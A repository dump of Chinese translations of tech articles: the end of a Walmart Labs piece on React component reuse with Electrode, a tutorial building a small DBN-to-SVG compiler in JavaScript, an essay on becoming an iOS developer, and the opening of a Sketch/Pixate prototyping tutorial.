机构(Organizations)中。可目前,尽管组件已被打包放入至创建团队的仓库中,但我们仍然需要把部分的组件移至按功能分类的仓库,如“导航栏”仓库会包含有面包屑、标签及侧导航链接组件。然后,组件就会被发布至我们的私有 npm 仓库。这也就意味着开发者能非常容易地安装一个具有特定版本的组件,并保证其程序不会因版本的升级而突然抛锚。 至此,既然代码能在团队间进行共享,那么,不管组件的依赖是否更新或替换,我们都需要保证其结构与代码的一致性。这也就是为什么我们要为[组件](https://github.com/electrode-io/electrode/tree/master/packages/electrode-archetype-react-component)与[应用](https://github.com/electrode-io/electrode/tree/master/packages/electrode-archetype-react-app)创造出 [Electrode 原型](http://www.electrode.io/docs/what_are_archetypes.html)。该原型不仅包含有用于代码规范、转译及封装的配置文件,而且还提供有用于管理核心代码依赖与任务/脚本的核心。这样一来,从一个通用的结构开始,建立起项目间一致的代码标准就能使得机构能维持有最好的现代化实践,且能同时增强开发者间的编程信心,与提高可复用组件所真正被复用的机会。此外,一个包含有代码规范、性能估算与多设备、多平台及多分辨率测试的稳定持续集成/持续部署(Continuous Integration/Continuous Deployment)系统同样会起到进一步的促进效果。详细来说,持续集成系统会在 PR 请求提交时包含有所有的规则,并发布一个 beta 测试版本,以供所有相关程序测试。这样的话,就能保证此次 PR 不会影响到任何的地方。 ### 元队(The Meta Team) ### 在项目初期,由于大部分的共享组件是由少量的团队所贡献完成的,因而它们更新迭代的速度会变得越来越快。从而最终导致我们不得不选择少部分对 Electrode 原型与沃尔玛内部具有深入了解的开发者,来创造出我们所称作的“元队”。而被选中的人会在数周内抽出若干小时乃至一整天的时间去对机构中正在运行的组件代码进行审查,以确保开发者能遵循实践,并尽可能地协助他们去解决问题。此外,该团队还会就机构中所构建的东西总结出一整套知识体系,并充当着使者的角色去为自己团队中采用 [Electrode](http://www.electrode.io/) 原型的项目提供服务。而且,元队成员还会把关于原型修改待决的部分信息带至自己的团队中,以收集回馈并与 Electrode 原型的核心开发团队进行分享和探讨。 尽管,好的开始是成功的一半。但作为一个机构,我们仍然能看到代码复用更进一步的提升空间。 ### 上百个组件的暴露性问题 ### 随着共享主题的策略实施,我们开始注意到 Slack 频道上所涌现出来的大量信息。开发者希望能有一种方式去得知是否已经有现有的组件能完成一个特定的任务,UX 团队希望能查看到哪些组件是可用的,而项目经理则希望能查看到哪些组件是其他团队正在构建中的。也就是说,所有这些信息所围绕的共同焦点就在于组件是否能被暴露。针对于此,我们迫切需要一种快速且简单的方法,去发现可用的组件并查看它们的使用情况。从而能与这些组件进行交互,以了解它们的实现、配置及依赖。 那么,问题答案就在于[我过去曾写文讨论的一样东西 —— Electrode 勘探器](https://medium.com/walmartlabs/spotlight-on-electrode-explorer-react-component-reuse-without-the-hassle-6447763365b2#.etp9o5wr0)。开发者通过该勘探器不仅能浏览到@沃尔玛实验室中上百个可用的组件及其文档,而且还能浏览到组件的版本提交记录,以查看其各阶段的代码修改情况。正是因为 Electrode 勘探器能提供机构中所有组件的 Web 接口,因而开发者此时已不再需要键入 `npm install` 来查看并使用组件。 ### 缝隙间所溢出的重复组件 ### 尽管,所有的这些工具与工作流程都是在促进代码的复用,但问题依旧存在。而其中一点就是,开发团队在开发新组件时往往会忽略掉组件对其他团队所起到的作用。倘若组件没有被涵盖在可复用的生态系统当中,那么,这就意味着该组件无法被其他人复用。即便是存在于同一套共享组件系统,大量重复或一些对相似问题采用不同解决办法的组件依旧存在。因而,我们这才意识到技术手段并非能完全地解决问题。所以,此时此刻我们需要的是一种办法。它不仅能广泛地改变公司人员的思考方式,而且还能使得所有层面的工作人员都能事事以可复用性当先。这也就包括了花费时间去对之前的组件进行归纳总结,以便复用变得更为简单;在已有组件的基础上进行扩展,而不是从零开始;不断地去寻找机会来尽可能地与外界共享代码。 为了协助思想上的这种改变,我们创建了一套组件开发的提案流程。在此系统下,开发者需要在工作开始前先讨论关于新组件的一切事宜,以便机构中的其他团队能根据此事来推荐出已有的解决方案或可选方法。这样,机构中的其他人也就能知道发生着怎样的事情。 > **实践证明,在开发过程当中采用该种提案系统能有效地帮助我们解决缝隙间所溢出的重复组件问题。** ### 持续集成/持续部署系统的重要性 ### 过去,我们曾遇到过这样的一个重大的问题:一个团队在组件上的开发可能会导致其他团队的程序抛锚。换而言之,如果你不对组件的版本进行锁定,持续集成/持续部署系统可能会因为组件被其他团队所修改,而导致出错 —— 这是一个非常糟糕的感觉。甚者还会到导致大量团队需要封锁自身组件至一个特定的版本,而无法使用新的补丁版本。 这也就是为何我们需要引入一个稳定的持续集成/持续部署系统。当一个组件版本更新时,不管其他重要的程序是否对该组件的版本进行锁定,系统中的自动装置都会去检查本次更新是否会导致程序主版本的崩溃。若无,则生成一个 PR 请求去更新锁定的版本至最新版本号;而若有,则通知涉事团队双方去检讨问题的所在。 ### 内部资源 ### 关于提高 React 组件可复用性的这些方法都是基于 [Laurent Desegur](https://twitter.com/ldesegur) 早前[写文](https://medium.com/walmartlabs/beyond-open-source-walmartlabs-e690c934fe35#.lqc0e6x3b)所描述的关于开放资源/内部资源哲学思想的一些领会。随着像 Hapi、[OneOps](https://github.com/oneops) 与 [Electrode](https://github.com/electrode-io) 等一些项目的展现,可以看到@沃尔玛实验室在过去几年已逐渐成为开源征途上的使用者及贡献者。尽管,在公司外面的人看来,我们对内部资源看似甚少贡献,即那些基于开源模型所开发的内部程序。但是,对于内部资源来说,并没有任何一个团队或成员会真正地“拥有”一个组件。换句话说,所有的组件是共享在整个机构当中的,而这也就意味着能消除开发的瓶颈并驱使开发者去提升已有组件的质量。 采用这样的策略不仅能很好地提高组件复用的机率,而且更为重要的是,还能为我们的开发者及开发协作的哲学思想提供有一定指引。而且,策略一定程度上能驱使开发者把自己的时间和专业知识使用在最需要的地方,而不是静待技术瓶颈的消除。这样的话,他们就能以真实且可量化的方式让公司受益。 ### 总结 ### 可复用性不仅是一种技术性的决策,而且还是一种需要机构性保障,且具有深远意义的哲学思想。通过@沃尔玛实验室这个例子,我们就可以清晰地看到其所产生的效益是何等巨大。如今,开发者们也正在把 SamsClub.com 移植到 [Electrode 平台](https://github.com/electrode-io)上,并复用数百个来自 Walmart.com 的组件去匹配山姆俱乐部的品牌容貌。 当然,最后你也可以跟我们分享一下自己关于可复用性的一些故事,包括当中遇到了哪些阻碍?怎么去解决?以及你所能看到的哪些更深层次的提升? ================================================ FILE: TODO/how-to-be-a-compiler-make-a-compiler-with-javascript.md ================================================ > * 原文地址:[How to be* a compiler — make a compiler with JavaScript](https://medium.com/@kosamari/how-to-be-a-compiler-make-a-compiler-with-javascript-4a8a13d473b4#.r832qh7i8) * 原文作者:[Mariko Kosaka](https://medium.com/@kosamari) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[luoyaqifei](http://www.zengmingxia.com) * 校对者:[rottenpen](https://github.com/rottenpen),[xiaoheiai4719](https://github.com/xiaoheiai4719) # 成为一个编译器之「使用 JavaScript 来制作编译器」 对的!你应该**成为**一个编译器。这很棒! 布希维克,布鲁克林,一个很棒的周日。我在书店里发现了一本书 [John Maeda 写的 “Design by Numbers” ](https://mitpress.mit.edu/books/design-numbers)。在这本书里有 [DBN 编程语言](http://dbn.media.mit.edu/) 一步步的指令——这是一种 90 年代末期被 MIT 媒体实验室创造出来的语言,它被设计出来,以可视化的方式介绍计算机编程概念。 ![](https://cdn-images-1.medium.com/max/1600/1*l2yQRbwlojZhNyEJi8uVDA.png) 这是 DNB 代码示例 [http://dbn.media.mit.edu/introduction.html](http://dbn.media.mit.edu/introduction.html)。 我马上想到,用 DBN 制作出 SVG 并将它放在浏览器里执行,在 2016 年这个年头,一定比安装 Java 环境来执行原生的 DBN 源代码要来得有趣。 我意识到我需要写一个 DBN 到 SVG 的编译器,所以写编译器的探索之路开始了。**「制作一个编译器」听起来很计算机科学……但是我从没在代码面试中遍历过节点,我真能造出一个编译器?** ![](https://cdn-images-1.medium.com/max/1600/1*mihwNKQqerkXUZ4GQhqgsg.png) 我想象中的编译器,应该是代码需要被严格对待的。如果代码写得很差,它将永久地陷在错误信息里。 * * * ### 让我们先尝试着成为一个编译器 编译器是一种接收一段代码然后把它转成一些别的什么的机制。让我们编译简单的 DBN 代码到实质的画上。 在这段 DBN 代码中有 3 个指令,「Paper」定义了纸的颜色,「Pen」定义了笔的颜色,「Line」画出来一条线。100 在颜色参数中代表着 100% 的黑色或者 CSS 中的 rgb(0%, 0%, 0%)。DBN 生成的图片总是用灰度表示的。在 DBN 中,一张纸总是 100 × 100,线条宽度总是 1,线段用起点和终点相对于左下角的 x 、y 坐标来定义。 让我们先尝试着变成一个编译器。停在这里,拿一张纸和一支笔,然后尝试着编译下面的画图代码: Paper 0 Pen 100 Line 0 50 100 50 你在纸的中间,从左到右地画出来一条黑色的线了吗?恭喜!你刚刚变身成了一个编译器! ![](https://cdn-images-1.medium.com/max/1600/1*aDJskliFHSIIfYhr8aN3UA.png) 编译结果 ### 编译器是怎么工作的? 让我们看看刚刚在我们作为编译器的脑袋里发生了什么。 #### 1\. 词法分析(标记化) 首先我们做的就是将每个关键字(称为标记)用空格分开。当我们分割单词时,我们也将原始类型赋给每个标记,比如「单词」或者「数字」。 ![](https://cdn-images-1.medium.com/max/1600/1*lM4hjuI28Dodn-DfnXQu4A.png) 词法分析 #### 2\. Parsing (语法分析) 当一堆文本被分割成标记后,我们遍历这些标记,尝试去找它们之间的关系。 在这种情况下,我们将数字和与其相联系的命令关键字分为一组。通过这么做,我们开始观察代码的结构。 ![](https://cdn-images-1.medium.com/max/1600/1*Masaunh04PyclWIGhztHmg.png) 语法分析 #### 3\. 转换 一旦我们完成了语法分析,我们需要将结构转换成更适合于最终结果的。在本文情况下,我们将要画一张图,所以我们要将它转换成对人类的一步步的指令。 ![](https://cdn-images-1.medium.com/max/1600/1*ExV6vUNKZ4-IpG15-CAeFw.png) 转换 #### 4\. 代码生成 最后,我们生成一个编译结果,一幅画。在这个环节,我们只是遵循我们在之前的步骤里生成的指令来画画。 ![](https://cdn-images-1.medium.com/max/1600/1*250m-6zI6slTBirOxHX7kw.png) 代码生成 这就是编译器做的事情啦! 我们生成的画就是编译结果(就好像你编译 C 语言时的 .exe 文件)。我们可以将这幅画给任何人或者任何设备(扫描仪、相机等)传阅,来「执行它」,所有人(或设备)将会看到一条居中黑线。 * * * ### 让我们制作一个编译器 现在既然我们知道了编译器是怎么工作的,让我们用 JavaScript 来制作一个。这个编译器接收 DBN 代码并将它转成 SVG 代码。 #### 1\. 词法分析器函数 就像我们将英语句子「I have a pen」分割成 [I, have, a, pen] 一样,词法分析器将一段代码字符串分割成小的有意义的块(标记)。在 DBN 里,每个标记都被空格分隔开,并且被分成「单词」或是「数字」。 function lexer (code) { return code.split(/\s+/) .filter(function (t) { return t.length > 0 }) .map(function (t) { return isNaN(t) ? {type: 'word', value: t} : {type: 'number', value: t} }) } input: "Paper 100" output:[ { type: "word", value: "Paper" }, { type: "number", value: 100 } ] #### 2\. 语法分析器函数 语法分析器遍历每个标记,寻找语法信息,并且构建一个叫做 AST(Abstract Syntax Tree,抽象语法树)的对象。你可以把 AST 想成一幅代码地图——这是理解一段代码如何架构的方式。 在我们的代码里,有 2 个语法类型「NumberLiteral」和「CallExpression」。NumberLiteral 意味着值是个数字,它作为参数被 CallExpression 使用。 function parser (tokens) { var AST = { type: 'Drawing', body: [] } // 一次提取一个标记,作为 current_token,一直循环,直到我们脱离标记。 while (tokens.length > 0){ var current_token = tokens.shift() // 既然数字标记自身并不做任何事情,我们只要在发现一个单词时分析它的语法。 if (current_token.type === 'word') { switch (current_token.value) { case 'Paper' : var expression = { type: 'CallExpression', name: 'Paper', arguments: [] } // 如果当前标记是以 Paper 为类型的 CallExpression,下一个标记应该是颜色参数 var argument = tokens.shift() if(argument.type === 'number') { expression.arguments.push({ // 在 expression 对象内部加入参数信息 type: 'NumberLiteral', value: argument.value }) AST.body.push(expression) // 将 expression 对象放入我们的 AST 的 body 内 } else { throw 'Paper command must be followed by a number.' } break case 'Pen' : ... case 'Line': ... } } } return AST } input: [ { type: "word", value: "Paper" }, { type: "number", value: 100 } ] output: { "type": "Drawing", "body": [{ "type": "CallExpression", "name": "Paper", "arguments": [{ "type": "NumberLiteral", "value": "100" }] }] } #### 3\. 转换器函数 我们在上一步创建的 AST 很好地描述了代码里发生的事情,但是它对于创建 SVG 文件没有什么用处。 比方说,「Paper」是一个只存在于 DBN 思维方式里的概念,在 SVG 中,我们可能用元素(element)来表示一个「Paper」。转换器函数将 AST 转换成另一种对 SVG 友好的 AST。 function transformer (ast) { var svg_ast = { tag : 'svg', attr: { width: 100, height: 100, viewBox: '0 0 100 100', xmlns: 'http://www.w3.org/2000/svg', version: '1.1' }, body:[] } var pen_color = 100 // 默认钢笔颜色为黑 // 一次提取一个调用表达式,作为 `node`。循环直至我们跳出表达式体。 while (ast.body.length > 0) { var node = ast.body.shift() switch (node.name) { case 'Paper' : var paper_color = 100 - node.arguments[0].value svg_ast.body.push({ // 在 svg_ast 的 body 内加入 rect 元素信息 tag : 'rect', attr : { x: 0, y: 0, width: 100, height:100, fill: 'rgb(' + paper_color + '%,' + paper_color + '%,' + paper_color + '%)' } }) break case 'Pen': pen_color = 100 - node.arguments[0].value // 把当前的钢笔颜色保存在 `pen_color` 变量内 break case 'Line': ... } } return svg_ast } input: { "type": "Drawing", "body": [{ "type": "CallExpression", "name": "Paper", "arguments": [{ "type": "NumberLiteral", "value": "100" }] }] } output: { "tag": "svg", "attr": { "width": 100, "height": 100, "viewBox": "0 0 100 100", "xmlns": "http://www.w3.org/2000/svg", "version": "1.1" }, "body": [{ "tag": "rect", "attr": { "x": 0, "y": 0, "width": 100, "height": 100, "fill": "rgb(0%, 0%, 0%)" } }] } #### 4\. 生成器函数 作为这个编译器的最后一步,生成器函数基于我们上一步产生的新 AST 生成了 SVG 代码。 function generator (svg_ast) { // 从 attr 对象中创建属性(attribute)字符串 // 使得 { "width": 100, "height": 100 } 变成 'width="100" height="100"' function createAttrString (attr) { return Object.keys(attr).map(function (key){ return key + '="' + attr[key] + '"' }).join(' ') } // 顶端节点总是 。为 svg 标签创建属性字符串 var svg_attr = createAttrString(svg_ast.attr) // 为每个 svf_ast body 中的元素,生成 svg 标签 var elements = svg_ast.body.map(function (node) { return '' }).join('\n\t') // 使用开和关的 svg 标签包装来完成 svg 代码 return '\n' + elements + '\n' } input: { "tag": "svg", "attr": { "width": 100, "height": 100, "viewBox": "0 0 100 100", "xmlns": "http://www.w3.org/2000/svg", "version": "1.1" }, "body": [{ "tag": "rect", "attr": { "x": 0, "y": 0, "width": 100, "height": 100, "fill": "rgb(0%, 0%, 0%)" } }] } output: #### 5\. 将它们放在一起,作为一个编译器 让我们把这个编译器称为「sbn 编译器」(SVG by numbers 编译器)。 我们创建了一个带有词法分析器、语法分析器、转换器和生成器方法的 sbn 对象,然后添加了一个叫做「compile」的方法来链式调用这四个方法。 我们现在可以将代码串传给「compile」方法,得到 SVG。 var sbn = {} sbn.VERSION = '0.0.1' sbn.lexer = lexer sbn.parser = parser sbn.transformer = transformer sbn.generator = generator sbn.compile = function (code) { return this.generator(this.transformer(this.parser(this.lexer(code)))) } // 调用 sbn 编译器 var code = 'Paper 0 Pen 100 Line 0 50 100 50' var svg = sbn.compile(code) document.body.innerHTML = svg 我做了一个 [互动演示](https://kosamari.github.io/sbn/),其中展示了这个编译器里每一步的结果。这个 sbn 编译器的代码放在 [github](https://github.com/kosamari/sbn) 上,我目前正在给它添加更多的特性。如果你想要检查我们在这篇文章中的基本编译器的画,请切换到 [简单分支](https://github.com/kosamari/sbn/tree/simple)。 ![](https://cdn-images-1.medium.com/max/1600/1*7ADpMcLo1VOnW4-fF2vjDg.png) [https://kosamari.github.io/sbn/](https://kosamari.github.io/sbn/) ### 难道一个编译器不应该使用递归或者遍历之类的吗? 是的,那些是制作一个编译器需要的所有棒棒哒技术,然而这并不意味着你需要先使用那些做法。 我从为 DBN 编程语言的一个小子集(一个非常有限的小特征集)制作编译器开始,扩展范围,现在正准备向这个编译器上添加一些诸如变量、代码块和循环这样的特性。现在这个时候使用那些技术是一个好的想法,但是那些技术并不是刚开始就要用到的。 ### 写编译器超棒的 你可以通过制作你自己的编译器来做些什么?也许你想要用西班牙语制作一个新的类 JavaScript 语言…… // ES (español script) función () { si (verdadero) { return «¡Hola!» } } 这里有一些人,他们用 [Emoji (Emojicode)](http://www.emojicode.org/) 和 [色块 (Piet 编程语言)](http://www.dangermouse.net/esoteric/piet.html) 制作了编程语言。可能性永无止境! * * * ### 从制作一个编译器中学到的 制作编译器很有趣,但最重要的是,它教了我很多软件开发方面的知识。下面是一些我在制作自己的编译器中学到的东西。 ![](https://cdn-images-1.medium.com/max/1600/1*AREFc7UVIAu_YIgk46EwaA.png) 在制作了一个我自己的编译器后我是怎么想象编译器的 #### 1\. 有一些不熟悉的东西很正常。 像我们的词法分析器一样,你不必要从刚开始就知道所有的事情。如果你真的不懂一段代码或者技术,只说一句「这有个东西,我只知道这么多了」,然后将它放到下一个步骤去做,也是挺好的。不要对这个事情有压力,你最终会明白它的。 #### 2\. 不要变成一个只发送坏的错误消息的混蛋。 语法分析器的功能是遵循规则、检查代码是不是按照那些规则写的。所以,错误会发生,很多次。当错误发生时,尝试着去发送一些有用的、欢迎式的信息。说「它不是那么工作的」(比如 JavaScript 里的「不合法标记」或者「undefined 不是个函数」错误)当然很简单,但是,请尽量多地告诉用户原本应该发生什么。 这在团队沟通中也有效。当某个人被困在一个问题中的时候,不要说「耶那没有用的」,可能你可以从说「如果是我,我会谷歌关键字 XXX 和 XXX」或「我推荐你读文档上的这一页」开始。你不必为他们做这些工作,但是你可以通过提供一些小的帮助来让他们工作得更好更快。 Elm 是一个 [拥抱这种方法](http://elm-lang.org/blog/compiler-errors-for-humans) 的编程语言。它们将「也许你想试试这个?」放在它们的错误信息里。 #### 3\. 背景就是一切 最后,就像我们的转换器一样,将一种类型的 AST 转换成另一种更加适合的,来用于最终的结果,所有的事情都是指定背景的。 没有一个总是完美的做事方式。所以不要因为某件事情很流行或者你以前做过就只做它,首先想想它的背景。对一个用户可行的事情可能对另一个用户是一场灾难。 同时,欣赏转换器做的那些工作。你可能知道你的团队里的那些好的转换器——某个非常擅长为鸿沟搭桥梁的人。转换器做的那些工作不是直接地创建代码,但都是在生产优秀产品时不可或缺的工作。 * * * 希望你享受这篇文章,希望我可以说服你制作 & 成为一个编译器有多么棒! ================================================ FILE: TODO/how-to-become-an-ios-developer-bob.md ================================================ > * 原文地址:[How to become an iOS developer, Bob](https://medium.com/ios-geek-community/how-to-become-an-ios-developer-bob-82944188ea7d#.dpn3k2gk1) * 原文作者:[Bob Lee](https://medium.com/@bobleesj?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[thanksdanny](https://github.com/thanksdanny) * 校对者:[zhouzihanntu](https://github.com/zhouzihanntu), [xuxiaokang](https://github.com/xuxiaokang) # Bob,我要怎样才能成为一名 iOS 开发者 # ## iOS 开发虽不易,但别怕尽管上就是了。 ## 然而这并不是我的桌面 ### 自我驱动 ### 我经常收到类似的邮件跟私信, **“Bob,我怎样才能成为一个超酷的开发者?”** **“Bob,我想转行了。我好喜欢你的文章跟视频。我要怎样才能成为一个 iOS 开发者呢?”** **“Bob,我不知道应该如何开始学。而且我之前也从来没写过代码,你能帮帮我吗?”** 好啦我知道啦。但我会实话实说。我尽量去回答这些一般问题。我叫这种问题叫做 **“今天天气如何?”** 。这(些问题)毫无意义。这只说明缺少准备。我发现我自己在不断重复啦。 如果我是我身边的朋友问这些,我大概会怼他们了, > “哥们,你有自己去 oogle 搜吗?已经查过的话,那就继续 google 啊。” - 我 虽说如此,我意识到我还是可以通过这篇文章分享我一些小小的见解的。这样当再有人问我类似的问题的时候,我就可以直接说,“先去看看我的这篇文章,还有问题再来问我 :)”。 ***免责声明:*** **这文章只是表达我个人的想法,可能还会存在错误的地方,因为我有时也会带有一些偏见。我只能分享一些 Swift 相关的经验,毕竟这是我的第一门编程语言。信不信由你啦** ### 1. 放松,慢慢去了解基础原理 ### 我也是过来人,当我最开始学 iOS 的时候,我只能想象它就像是一个庞然大物。我买了一些线上课程还有一些书 -“**让你做出 18 个应用与成为付费 iOS 开发者的唯一课程**!” - 当时我就迷上了!太牛逼了! 在我完全不知道 `super`, `!`, `?` , `as`, `if let` 这些关键词代表什么意思的时候,我就成为了一只程序猿,像丧尸一般不停地写代码。如果你正处在这个阶段,**那就先学 Swift 吧**,虽然这跟 iOS 没有太大关系。但这是在为以后的学习打好基础。同样道理,在你学会写文章出书之前,你必须先学会语法跟字母表。相信我,只要坚持你也能将这本“书”出版的! 如果你还不清楚 Swift 下的这些概念,去看 Xcode 左侧的那些红色标记。确保你理解, `delegate``extension``Protocol``optionals``super``generics``type casting``error handling``enum``closures``completion handlers``property observer``override``class vs struct` 别担心啦,我已经将成为一名 iOS 开发者的所有要点总结在这里了。 #### 资源 #### 所有的教程都在([Personal Journey Note](https://bobleesj.gitbooks.io/bob-s-learning-journey/content/WORK.html)) **如果你还没完全掌握面向对象编程,就不要尝试去学习函数式编程,面向协议编程了。** ### 2. 不要苦于去理解全部,相反地,要找到适合你的学习模式。 ### 这实际上视你对 Swift 的核心概念的熟悉程度而定,何况你正在学习 iOS 的生态系统。 你根本不需要清楚 iOS 中的全部知识。实际上知识量太庞大了。要学这么多的类跟框架已经够呛了,何况这些类和框架并不是开源的,我们开发者并不能详细地了解其中的实现细节。 所以,我把 iOS 开发比作**微波炉操作**。你要做的只是阅读操作手册,但阅读手册的前提是,你能理解这些单词的含义和发现独特的操作模式。 举个例子,当你去加热,你按下几个按钮后转盘开始旋转了,黄色的灯光开始照射在炉壁上。就是这么个道理,**他之所以这样去运行,是因为苹果的工程师已经将他的运行方式设计好了。** 但作为 iOS 开发者,你的工作就是知道为啥他们会这么做。再举个例子,我问,“这旋转的盘子是怎么让食物加热的?”。就像是这样,你其实并不需要知道电磁学的细节原理,虽然知道的话确实会有帮助。 最后再举多个例子,我会问,为什么苹果的工程师要实现 `delegate` 模式与 `MVC`?学会去发掘他们的动机。如果你通过 google 得到了结果,那就坚持这么做吧! ### 3. 多与 API 和文档打交道 ### 当你熟悉 `delegate`,`protocol` 这些概念后,API 文档读起来就会变得更容易了。大部分指南,例如 [Bundle Programming Guide](http://bundle%20iOS%20guide) 还是用 Objective-C 写的。 **不要担心**,你可以轻松地从 Objective-C 转到 Swift,点击 [这里](https://objectivec2swift.com/#/home/main) 查看。 我常说学习 API 就像学习如何驾驶各种交通工具一样。例如,`UITableView` 和 `UICollectionView` 对比起来,就像驾驶单车跟摩托。使用 `NSURLSession` 去上传下载数据的感觉,就像在开宝马一般。而创建一个开源项目,就像在驾驶着一架大型的飞机。 其实所有类型的交通工具都遵循通用的基础功能/模式。就比如我们的操作用到手把跟刹车,带来动力的引擎以及汽油。 找到那些相似的模式都是不易的,但很值得投入时间去折腾。任务越有难度,完成时获得的成就感越强。打个比方,就算面临死亡的威胁,人们还是不顾一切地去攀登珠穆朗玛峰。当球赛比分为 5-0 ,人们都会失望离场,就你逆袭的时候。这已经有太多熟悉的模式以及你所了解的答案 - google,学习,应用,不断循环。 ### 4. 关于开源 ### **不要使用开源项目,除非你有能力自己去实现出相同的功能** iOS 开发者依赖开源项目去实现网络,动画,还有 UI。然而,初学者通常都是直接下载这些库去使用。这让一切都变得十分简单,以至于他们学不到任何东西。 这就是问题所在,想象一下你只需要做一个十分简单的任务,你却需要导入一个庞大的库。这好比你开一瓶小小的苏打水,却要用锋利的瑞士军刀。根本没必要大材小用。但当你必须添加这个库时,你的项目会变得十分臃肿。 如果你不知道如何做出这些功能和特效,就去研究吧。这才是所谓的“开源”精神,下载他们的代码并开始仔细地分析,如果必要的话,你还可以“光明正大”地抄写这些代码。 **为了成功地去做到这一点,你必须理解** `Access Control` **,还要对面向对象编程有深刻理解。** 不要误会,这些开源库我也会经常使用,但我使用这些开源库,是因为就算没有这些库的情况下,我也知道应该如何去实现那些功能。更重要的是,利用这些开源库可以为我省下不少的时间,然后去做我想做的事。 **我喜欢在骑单车的时候放开双手,这感觉让我十分的享受。一旦到关键时时刻,我也能快速抓紧把手控制好方向。假如我不懂骑单车的话,那一切都太荒谬了。** ### 5. 面向协议思维 ### 假设你已经熟悉了 OOP(面向对象编程),我更首先推荐你去考虑用 POP(面向协议编程)去设计一个功能。我这里写了几个指南来告诉大家 POP(面向协议编程)是有多棒。你可以在 [Part 1](https://medium.com/ios-geek-community/introduction-to-protocol-oriented-programming-in-swift-b358fe4974f#.nj16kndks)和 [Part 2](https://medium.com/ios-geek-community/protocol-oriented-programming-view-in-swift-3-8bcb3305c427#.33aau3khn) 去开始学习。 ### 6. 理解 App 的生命周期。 ### 我们要知道 `ViewDidLoad`, `ViewWillAppear`, `ViewDidDisappear` 之间的区别。还要明白为啥要用 `ViewWillAppear` 来代替 `ViewDidLoad` 来实现网络逻辑。 学习 `UIApplicataion` 的作用,还有为啥 `AppDelegate` 会存在。我已经上传了相关视频在 YouTube 。 关于 App 的生命周期 ([YouTube](https://www.youtube.com/watch?v=mD8hsQjR1zk)) ### 7. 别担心服务器。 ### 如果你还在 Swift 与 iOS 中挣扎,那就不用考虑去设计一个服务器和数据库了。直接使用 **Firebase** 好了,他就是一个服务器后台,可以使你使用十行不到的代码就可以存储数据。 假如你的 app 人气很旺,已经发展到一亿用户了,你可以请个开发来做后台了。一个前辈曾经说过,如果你尝试同事去抓两只兔子,最终你只会一只都抓不到。当然,如果你觉得你对 iOS 的生态系统学习的差不多了,你也是时候去学习其他领域了。 ### 8. 笔记!笔记!笔记! ### 我经常说学习 API 就像是在背单词一样。在大学时候我得去学习几千个单词去应付考试。当然了,就算我现在已经忘得七七八八,但对于当时我的学习程度还是很自信的。 有些人不知道应该在哪做笔记。你不需要什么特别的网站,先看看再说。你可以在 Medium 上分享,或者在 GitHub 上传你的笔记。还可以做个 Youtube 视频,就算是不公开的也 ok,然后多在电脑上做练习。 上述方式这并不仅仅是你存储信息的地方,别人还能搜索到你的文章,帮助遇到同样问题的人。我相信善有善报的,更何况还能构建起你的个人品牌,也能拓展开自己的市场。 我想你应该想知道在我是怎么开始写博客的,我把这篇文章写在 **在我写博客的这10周里学到了什么 (** [*LinkedIn*](https://www.linkedin.com/in/bobleesj?trk=hp-identity-photo) **)** ### 9. 如何请求帮助 ### 在 Facebook 有个博主他经营着一个叫 [iOS Developers](https://www.facebook.com/apple.ios.developers/?ref=bookmarks) 的主页,已经将近有 30,000 粉丝了。我发现那里有许多相关的软技能的提升,相信对提问者会有很大帮助。 作为一个经常提问与发问的人,在这里我分享一些我提问的方式以及行之有效的方法给大家。 首先我不会立刻说出我的问题,我会写几句来先介绍我是谁还有我是如何找到他。然后开始列出我所能搜索到的答案或者解决方案。因此我不会问一些无关紧要的问题。给个提示,如果我真的想要我的问题被彻底地解答,我会给其他人带来一些激励,我会表示当有解决方案的时候,我会乐意去分享给大家。 **不过在你提问之前,先请搜索最少10页的 google。你从中会很惊讶地发现,通过搜索这问题你会发现不少意外的收获。** ### 10. 不要依赖教程 ### 通常,我们都希望得到大神们的指导与帮助。然而遇到问题时,尝试去鸡蛋碰石头是 ok 的,因为这样你会发现这并不是最好的解决方法。 学习是靠你自己的。如果你一直依赖教程,你就会丧失“捕鱼”的能力。我的意思是,虽然你继续看我的教程也是很可以的,但如果你希望成为一个可持续发展的 iOS 开发者,你应该学会自己去将自己学到的东西总结成**文档**。尝试去阅读苹果提供的 API 指南,并尝试着去挑战自己。有时你就是需要不断地阅读文档来折腾自己才能获得提升。 实际上,我已经能从头到尾读了 Swift 的官方文档超过3遍了,还熟记他里面的各种示例。通过阅读文档去学习也是种学习技能。 教程通常都被包装成一种让学生容易理解的方式,但毫无疑问他并不包含很多基础内容。举个例子,如果只通过教程的学习,我是没办法完整地学习 Swift 的 Foundation 库的。 **阅读教程是可以的。我以前也经常这么做。然而如果你发现有更好的学习方式,就要立刻睁大你的眼睛了。我身为这篇博客的导师,我敢说我的方法不一定是最好的,毕竟人无完人。** ### 最后的话 ### 对于那些想放弃的 iOS 开发者,你可以随时放弃都没问题,毕竟现在开发者太多了,而且我们也并不希望在 2017 年有更多平庸的开发者的出现。 如果能给我们提供充足的饮料、流畅的网络以及提供一日三餐,**我们就没啥好抱怨的了**。假如我20岁的时候能仅仅通过 google,而且在没有获得计算机学位的前提下,六个月无师自通地学会 Swift 与 iOS,那么我相信你们也一定可以! **如果给篇文章读起来让你感觉到很傲慢,我感到十分抱歉。我感到很沮丧,为啥会有这种消极与抱怨的声音,去打击我们所在的现实中充满幸运与祝福的 2017 年,现在已经不是 1523 年了。作为文章最后的声明,我想分享一则来自一位失明者的格言,也是我最喜欢的格言之一。** > “唯一比看不见更糟糕的事情就是能看见但是没有愿景”。 - Helen Keller 我希望这是我第一篇也是最后一篇没有使用 emoji 表情的文章。下次再见。 ================================================ FILE: TODO/how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-three.md ================================================ >* 原文链接 : [HOW TO BUILD A MATERIAL DESIGN PROTOTYPE USING SKETCH AND PIXATE - PART THREE](http://createdineden.com/blog/post/how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-three/?utm_source=androiddevdigest) * 原文作者 : Mike Scamell * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Hugo](https://github.com/xcc3641) * 校对者: [Zheaoli](https://github.com/Zheaoli),[阿宅](https://github.com/rockzhai) # 使用 Sketch 和 Pixate 构建 Material Design 原型 - 第三部分 在本系列的 [Part 2](https://gold.xitu.io/entry/574eb491d342d300434cec1c) 我们已经将在 Sketch 中完成的作品导入到了 Pixate ,并且新建了一个简单的登陆原型。 